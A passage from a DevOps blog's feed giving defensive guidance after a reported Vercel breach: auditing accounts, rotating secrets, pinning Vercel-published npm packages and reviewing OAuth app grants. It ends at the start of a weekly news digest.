<p><strong>This has not been officially confirmed by Vercel.</strong> Treat it as a community signal, not established fact. But the risk it implies is worth taking seriously: if NPM tokens that publish packages Vercel maintains were stolen, the worst-case consequence is a malicious version of <code>next</code>, <code>@vercel/next</code>, <code>@vercel/analytics</code>, or any other Vercel-published package showing up on npm. Next.js alone has roughly 6 million weekly downloads, which would make this a textbook global supply chain attack in the same shape as the recent <a href="/posts/axios-supply-chain-attack-what-happened-and-what-to-do">axios compromise</a>.</p>
<p>We&#39;ll update this post if Vercel confirms or refutes the token theft.</p>
<h2 id="h2-are-you-affected" class="group relative scroll-mt-24">
        <a href="#h2-are-you-affected" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Are You Affected?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-are-you-affected"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Vercel contacted affected customers directly. If you did not receive a notification, Vercel says there is no indication your account was compromised. That said, the conservative thing to do is verify.</p>
<h3 id="h3-check-your-notifications" class="group relative scroll-mt-24">
        <a href="#h3-check-your-notifications" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Check your notifications
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-check-your-notifications"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ol>
<li>Look in the inbox associated with your Vercel account owner for an email from Vercel dated on or around April 19, 2026.</li>
<li>Check the Vercel dashboard for banners or in-app notifications.</li>
<li>Search your spam / quarantine folder.</li>
</ol>
<h3 id="h3-audit-your-account-activity" class="group relative scroll-mt-24">
        <a href="#h3-audit-your-account-activity" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Audit your account activity
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-audit-your-account-activity"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-text"># In the Vercel dashboard:
# Settings → Security → Audit Log
</code></pre><p>Look for unfamiliar:</p>
<ul>
<li>Deployments you did not trigger</li>
<li>New team members or project invites</li>
<li>Token creations or SSH key additions</li>
<li>Changes to environment variables</li>
<li>Changes to domain or DNS settings</li>
</ul>
<p>Pay extra attention to activity between <strong>early April 2026</strong> and the day you audit.</p>
<h3 id="h3-review-recent-deployments" class="group relative scroll-mt-24">
        <a href="#h3-review-recent-deployments" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Review recent deployments
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-review-recent-deployments"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-text"># Vercel dashboard → Project → Deployments
</code></pre><p>For each production deployment since early April, verify:</p>
<ul>
<li>The commit SHA matches what you expect in your git history</li>
<li>The build log does not contain unexpected commands or outputs</li>
<li>The deployment was triggered by a known user or CI pipeline</li>
</ul>
<h2 id="h2-how-to-fix-it-if-you-are-affected" class="group relative scroll-mt-24">
        <a href="#h2-how-to-fix-it-if-you-are-affected" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to Fix It If You Are Affected
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-to-fix-it-if-you-are-affected"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If Vercel notified you, or if your audit turns up anything suspicious, assume your non-sensitive environment variables have been read and act accordingly.</p>
<h3 id="h3-1-rotate-every-secret-that-was-in-a-non-sensitive-env-var" class="group relative scroll-mt-24">
        <a href="#h3-1-rotate-every-secret-that-was-in-a-non-sensitive-env-var" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Rotate every secret that was in a non-sensitive env var
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-rotate-every-secret-that-was-in-a-non-sensitive-env-var"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This includes:</p>
<ul>
<li>Third-party API keys (Stripe, OpenAI, Sentry, PostHog, Resend, anything)</li>
<li>Database connection strings and credentials</li>
<li>OAuth client secrets and webhook signing keys</li>
<li>Internal service-to-service tokens</li>
<li>Any other credential that was stored as a regular env var rather than a sensitive one</li>
</ul>
<p>Rotate in-place if you can. If not, issue new credentials, deploy them, then revoke the old ones.</p>
<h3 id="h3-2-rotate-deployment-protection-tokens" class="group relative scroll-mt-24">
        <a href="#h3-2-rotate-deployment-protection-tokens" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Rotate Deployment Protection tokens
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-rotate-deployment-protection-tokens"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><pre><code class="hljs language-text"># Vercel dashboard → Project → Settings → Deployment Protection → Rotate token
</code></pre><p>If an attacker had a DP token, they could bypass protection on your preview deployments.</p>
<h3 id="h3-3-raise-deployment-protection-to-at-least-standard" class="group relative scroll-mt-24">
        <a href="#h3-3-raise-deployment-protection-to-at-least-standard" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Raise Deployment Protection to at least Standard
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-raise-deployment-protection-to-at-least-standard"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If Deployment Protection was set to None or below Standard on affected projects, bump it up. This prevents future unauthorized access to preview URLs.</p>
<h3 id="h3-4-adopt-sensitive-environment-variables-going-forward" class="group relative scroll-mt-24">
        <a href="#h3-4-adopt-sensitive-environment-variables-going-forward" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Adopt sensitive environment variables going forward
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-adopt-sensitive-environment-variables-going-forward"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Vercel offers a &quot;sensitive&quot; flag per variable. Sensitive values:</p>
<ul>
<li>Are readable only by the running deployment, never by the dashboard, the CLI, or Vercel staff</li>
<li>Are not included in build logs</li>
<li>Are not viewable after being set</li>
</ul>
<p>Move every secret (keys, tokens, passwords) to sensitive. Reserve non-sensitive variables for truly non-secret config like feature flags, region names, or public URLs.</p>
<pre><code class="hljs language-text"># When adding a new env var in the dashboard, check the
# &quot;Sensitive&quot; checkbox. For secrets, always.
</code></pre><h3 id="h3-5-rebuild-and-redeploy" class="group relative scroll-mt-24">
        <a href="#h3-5-rebuild-and-redeploy" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Rebuild and redeploy
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-rebuild-and-redeploy"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>After rotating, trigger a clean redeploy so the new values are live and the old values become inactive references in old builds only.</p>
<h3 id="h3-6-pin-your-nextjs-and-vercel-published-npm-dependencies" class="group relative scroll-mt-24">
        <a href="#h3-6-pin-your-nextjs-and-vercel-published-npm-dependencies" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          6. Pin your Next.js and Vercel-published npm dependencies
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-6-pin-your-nextjs-and-vercel-published-npm-dependencies"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you use Next.js or any package published by Vercel (<code>next</code>, <code>@vercel/*</code>, <code>@next/*</code>), pin to known-safe versions in your lockfile until Vercel officially confirms no publish tokens were exposed:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># See what you have locked</span>
grep -E <span class="hljs-string">&#x27;&quot;next&quot;:|&quot;@vercel/|&quot;@next/&#x27;</span> package.json package-lock.json yarn.lock pnpm-lock.yaml 2&gt;/dev/null

<span class="hljs-comment"># In CI, use clean installs that respect the lockfile exactly</span>
npm ci
<span class="hljs-comment"># or</span>
pnpm install --frozen-lockfile
<span class="hljs-comment"># or</span>
yarn install --frozen-lockfile
</code></pre><p>Disable <code>postinstall</code> scripts on untrusted dependencies in CI if you do not need them:</p>
<pre><code class="hljs language-bash">npm ci --ignore-scripts
</code></pre><p>Monitor the <a href="https://www.npmjs.com/package/next?activeTab=versions">npm feed for the <code>next</code> package</a> for any unexpected release between April 19 and when Vercel gives the all-clear. An unscheduled patch release in that window is a red flag.</p>
<h2 id="h2-how-to-prevent-the-same-class-of-attack" class="group relative scroll-mt-24">
        <a href="#h2-how-to-prevent-the-same-class-of-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How to Prevent the Same Class of Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-to-prevent-the-same-class-of-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>This attack will happen again, to somebody. It is a pattern, not a one-off. Here is what to harden across your org, whether you use Vercel or not.</p>
<h3 id="h3-1-treat-oauth-app-grants-as-access-control" class="group relative scroll-mt-24">
        <a href="#h3-1-treat-oauth-app-grants-as-access-control" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. Treat OAuth app grants as access control
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-1-treat-oauth-app-grants-as-access-control"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Every &quot;Login with Google&quot; grant your team accepts is a persistent access path into your identity provider. Most orgs never audit what&#39;s been granted.</p>
<pre><code class="hljs language-text"># Google Workspace admin: Security → Access and data control →
#   API controls → App access control → Manage Third-Party App Access
</code></pre><p>Review the list. Revoke anything nobody recognizes. Move high-value scopes (Drive, Gmail, Calendar read/write) onto an explicit allow-list so employees cannot silently grant new apps permission to read company data.</p>
<p>GitHub has <a href="https://github.com/settings/applications">a similar review page</a> for OAuth apps that have been granted access to your org.</p>
<h3 id="h3-2-minimize-scopes-on-every-oauth-integration" class="group relative scroll-mt-24">
        <a href="#h3-2-minimize-scopes-on-every-oauth-integration" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. Minimize scopes on every OAuth integration
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-2-minimize-scopes-on-every-oauth-integration"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>When you connect a third-party SaaS app to Workspace or Microsoft 365, check the scope list. If the app asks for <code>https://mail.google.com/</code> (full mail access) when it only needs to read your calendar, that is a scope you should refuse. Most employees accept whatever is asked for.</p>
<h3 id="h3-3-mark-every-secret-as-sensitive-by-default" class="group relative scroll-mt-24">
        <a href="#h3-3-mark-every-secret-as-sensitive-by-default" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. Mark every secret as sensitive, by default
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-3-mark-every-secret-as-sensitive-by-default"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Not just on Vercel. On every platform that offers a distinction:</p>
<ul>
<li><strong>Vercel</strong>: sensitive env vars</li>
<li><strong>AWS</strong>: Secrets Manager, never plain env vars on Lambdas you can <code>kubectl get</code> on</li>
<li><strong>GitHub Actions</strong>: encrypted secrets, not plain env in workflow yaml</li>
<li><strong>Kubernetes</strong>: Secret objects at minimum, ideally sealed-secrets or External Secrets Operator backed by Vault</li>
</ul>
<p>The principle: a secret should never be readable by a dashboard, a log, or a human administrator, only by the process that needs it at runtime.</p>
<h3 id="h3-4-monitor-google-workspace-for-unusual-token-use" class="group relative scroll-mt-24">
        <a href="#h3-4-monitor-google-workspace-for-unusual-token-use" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. Monitor Google Workspace for unusual token use
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-4-monitor-google-workspace-for-unusual-token-use"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Workspace logs every OAuth app token access. You can alert on:</p>
<ul>
<li>Tokens from an OAuth app that hasn&#39;t been used in 30+ days suddenly activating</li>
<li>Tokens used from unusual geographies or IPs</li>
<li>OAuth apps reading large numbers of documents or emails in short bursts</li>
</ul>
<p>This is exactly the kind of activity that would have caught the replay in this incident earlier. Most orgs have these logs but no alerts wired up to them.</p>
<h3 id="h3-5-have-an-incident-plan-that-covers-a-vendor-got-breached" class="group relative scroll-mt-24">
        <a href="#h3-5-have-an-incident-plan-that-covers-a-vendor-got-breached" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. Have an incident plan that covers "a vendor got breached"
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-5-have-an-incident-plan-that-covers-a-vendor-got-breached"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The most common response to &quot;one of our SaaS vendors got hacked&quot; is to wait and see. That&#39;s too slow. Pre-write:</p>
<ul>
<li>Who on your team is the point of contact when a vendor discloses a breach</li>
<li>Which secrets need to be rotated in which order (usually: identity providers first, then payment/billing, then product APIs)</li>
<li>How to communicate to your own customers if the incident affects them</li>
<li>Where the rotation runbook lives</li>
</ul>
<p>Practice it once a year on a tabletop exercise. <a href="/games/bcdr-simulator">Our BCDR simulator</a> walks through similar scenarios if your team wants to rehearse.</p>
<h2 id="h2-the-bigger-lesson" class="group relative scroll-mt-24">
        <a href="#h2-the-bigger-lesson" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Bigger Lesson
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-the-bigger-lesson"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The scary part of this incident isn&#39;t that Vercel was breached. It is that the initial vector was an AI tool nobody on the Vercel security team had any view into. Context.ai was compromised a month before anyone at Vercel knew there was a problem. CrowdStrike apparently did not flag the OAuth tokens as part of their investigation scope.</p>
<p>If you use <a href="https://vercel.com">Vercel</a> or any serverless platform, your risk surface now includes every SaaS app every employee has ever signed into with their Google account. That is a very large surface. Auditing it, scoping it down, and alerting on unusual token activity is the only defense. Waiting for the vendor to disclose is not a strategy.</p>
<p>If you want to dig deeper into secure DevOps practices, our <a href="/checklists">security checklists</a> cover the full lifecycle from config to runtime, and our <a href="/roadmap/devsecops">DevSecOps roadmap</a> lays out the skills to build a team that catches this class of attack early.</p>
<hr>
<p>Have questions about this incident or want to share how your team responded? Reply on <a href="https://x.com/thedevopsdaily">X</a> or <a href="https://www.linkedin.com/company/thedevopsdaily">LinkedIn</a>. We update this post as Vercel releases new details.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[DevOps Weekly Digest - Week 17, 2026]]></title>
      <link>https://devops-daily.com/news/2026-week-17</link>
      <description><![CDATA[⚡ Curated updates from Kubernetes, cloud native tooling, CI/CD, IaC, observability, and security - handpicked for DevOps professionals!]]></description>
      <pubDate>Mon, 20 Apr 2026 00:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/news/2026-week-17</guid>
      <category><![CDATA[DevOps News]]></category>
      <content:encoded><![CDATA[<blockquote>
<p>📌 <strong>Handpicked by DevOps Daily</strong> - Your weekly dose of curated DevOps news and updates!</p>
</blockquote>
<hr>
<h2 id="h2-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ⚓ Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-introducing-the-ai-native-platform-engineering-stack-wso2-and-suse-unite-to-close-the-developer-experience-gap-on-kubernetes" class="group relative scroll-mt-24">
        <a href="#h3-introducing-the-ai-native-platform-engineering-stack-wso2-and-suse-unite-to-close-the-developer-experience-gap-on-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing the AI-Native Platform Engineering Stack: WSO2 and SUSE Unite to Close the Developer Experience Gap on Kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-the-ai-native-platform-engineering-stack-wso2-and-suse-unite-to-close-the-developer-experience-gap-on-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A complete, open-source developer platform meets enterprise Kubernetes, delivering golden paths, AI-native operations, and production-grade governance from Day 1. Co-authored by Kristian Gyorkos, SVP </p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/introducing-the-ai-native-platform-engineering-stack-wso2-and-suse-unite-to-close-the-developer-experience-gap-on-kubernetes/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-k3s-on-on-prem-infrastructures-the-gitops-way-writing-a-custom-k0rdent-template-from-scratch" class="group relative scroll-mt-24">
        <a href="#h3-k3s-on-on-prem-infrastructures-the-gitops-way-writing-a-custom-k0rdent-template-from-scratch" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 K3s on On-Prem Infrastructures the GitOps Way: Writing a Custom k0rdent Template from Scratch
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-k3s-on-on-prem-infrastructures-the-gitops-way-writing-a-custom-k0rdent-template-from-scratch"
        >
